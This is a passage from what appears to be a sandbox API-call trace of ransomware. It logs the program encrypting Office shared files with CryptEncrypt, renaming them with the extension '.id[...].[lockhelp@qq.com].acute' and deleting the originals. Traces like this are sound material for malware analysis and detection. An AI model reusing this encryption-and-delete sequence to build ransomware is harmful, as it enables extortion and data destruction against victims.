lpNewFilePointer=0x0) returned 1 [0054.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0054.079] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5932e0) returned 1 [0054.079] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0054.079] ReadFile (in: hFile=0x178, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x2174, lpOverlapped=0x0) returned 1 [0054.081] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x2180, dwBufLen=0x2180 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x2180) returned 1 [0054.081] WriteFile (in: hFile=0x184, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x2180, lpOverlapped=0x0) returned 1 [0054.082] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593320) returned 1 [0054.082] CryptSetKeyParam (hKey=0x593320, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0054.082] CryptEncrypt (in: hKey=0x593320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0054.082] CryptDestroyKey (hKey=0x593320) returned 1 [0054.082] WriteFile (in: hFile=0x184, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0054.082] CryptDestroyKey (hKey=0x5932e0) returned 1 [0054.082] CloseHandle (hObject=0x178) returned 1 [0054.082] CloseHandle (hObject=0x184) returned 1 [0054.083] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 1 [0054.084] SetEvent (hEvent=0x14c) returned 1 [0054.084] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0054.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0054.084] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=227311) returned 1 [0054.084] CloseHandle (hObject=0x184) returned 1 [0054.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 0x20 [0054.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0054.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0054.085] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0054.085] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0054.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0054.085] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5932e0) returned 1 [0054.085] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0054.085] ReadFile (in: hFile=0x184, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x377ef, lpOverlapped=0x0) returned 1 [0054.088] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x377f0, dwBufLen=0x377f0 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x377f0) returned 1 [0054.090] WriteFile (in: hFile=0x178, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x377f0, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x377f0, lpOverlapped=0x0) returned 1 [0054.094] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593320) returned 1 [0054.094] CryptSetKeyParam (hKey=0x593320, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0054.094] CryptEncrypt (in: hKey=0x593320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0054.094] CryptDestroyKey (hKey=0x593320) returned 1 [0054.094] WriteFile (in: hFile=0x178, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0054.094] CryptDestroyKey (hKey=0x5932e0) returned 1 [0054.094] CloseHandle (hObject=0x184) returned 1 [0054.094] CloseHandle (hObject=0x178) returned 1 [0054.096] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 1 [0054.098] SetEvent (hEvent=0x14c) returned 1 [0054.098] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0054.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0054.569] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1183416) returned 1 [0054.569] CloseHandle (hObject=0x1ac) returned 1 [0054.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 0x20 [0054.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0054.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0054.569] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0054.569] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0054.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0054.572] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593260) returned 1 [0054.572] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0054.572] ReadFile (in: hFile=0x1ac, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x110100, lpOverlapped=0x0) returned 1 [0054.589] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x110100, dwBufLen=0x110100 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x110100) returned 1 [0054.599] WriteFile (in: hFile=0x194, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x110100, lpOverlapped=0x0) returned 1 [0054.947] ReadFile (in: hFile=0x1ac, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x10db8, lpOverlapped=0x0) returned 1 [0054.947] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x10dc0, dwBufLen=0x10dc0 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x10dc0) returned 1 [0054.947] WriteFile (in: hFile=0x194, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x10dc0, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x10dc0, lpOverlapped=0x0) returned 1 [0054.949] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593220) returned 1 [0054.949] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0054.949] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0054.949] CryptDestroyKey (hKey=0x593220) returned 1 [0054.949] WriteFile (in: hFile=0x194, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0054.949] CryptDestroyKey (hKey=0x593260) returned 1 [0054.949] CloseHandle (hObject=0x1ac) returned 1 [0054.949] CloseHandle (hObject=0x194) returned 1 [0054.961] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 1 [0054.962] SetEvent (hEvent=0x14c) returned 1 [0054.963] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0054.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.499] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=4587) returned 1 [0055.499] CloseHandle (hObject=0x174) returned 1 [0055.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0055.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.499] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.499] SetEvent (hEvent=0x14c) returned 1 [0055.499] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0055.499] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.500] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=2209) returned 1 [0055.500] CloseHandle (hObject=0x174) returned 1 [0055.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg")) returned 0x20 [0055.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.500] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.500] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0055.500] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.501] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=4192) returned 1 [0055.501] CloseHandle (hObject=0x174) returned 1 [0055.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf")) returned 0x20 [0055.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.501] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.501] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0055.501] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0055.584] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=26036) returned 1 [0055.584] CloseHandle (hObject=0x194) returned 1 [0055.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf")) returned 0x20 [0055.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.584] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.585] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0055.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.703] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=2985) returned 1 [0055.703] CloseHandle (hObject=0x174) returned 1 [0055.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 0x20 [0055.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.704] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0055.704] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0055.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0055.867] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5931a0) returned 1 [0055.867] CryptSetKeyParam (hKey=0x5931a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0055.867] ReadFile (in: hFile=0x174, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0xba9, lpOverlapped=0x0) returned 1 [0055.868] CryptEncrypt (in: hKey=0x5931a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0xbb0, dwBufLen=0xbb0 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0xbb0) returned 1 [0055.868] WriteFile (in: hFile=0x178, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xbb0, lpOverlapped=0x0) returned 1 [0055.869] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5932e0) returned 1 [0055.869] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0055.869] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0055.869] CryptDestroyKey (hKey=0x5932e0) returned 1 [0055.869] WriteFile (in: hFile=0x178, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0055.870] CryptDestroyKey (hKey=0x5931a0) returned 1 [0055.870] CloseHandle (hObject=0x174) returned 1 [0055.870] CloseHandle (hObject=0x178) returned 1 [0055.870] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 1 [0055.872] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0055.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0055.872] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1560) returned 1 [0055.872] CloseHandle (hObject=0x178) returned 1 [0055.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 0x20 [0055.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.873] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0055.873] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0055.873] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0055.873] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.878] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5931a0) returned 1 [0055.878] CryptSetKeyParam (hKey=0x5931a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0055.878] ReadFile (in: hFile=0x178, 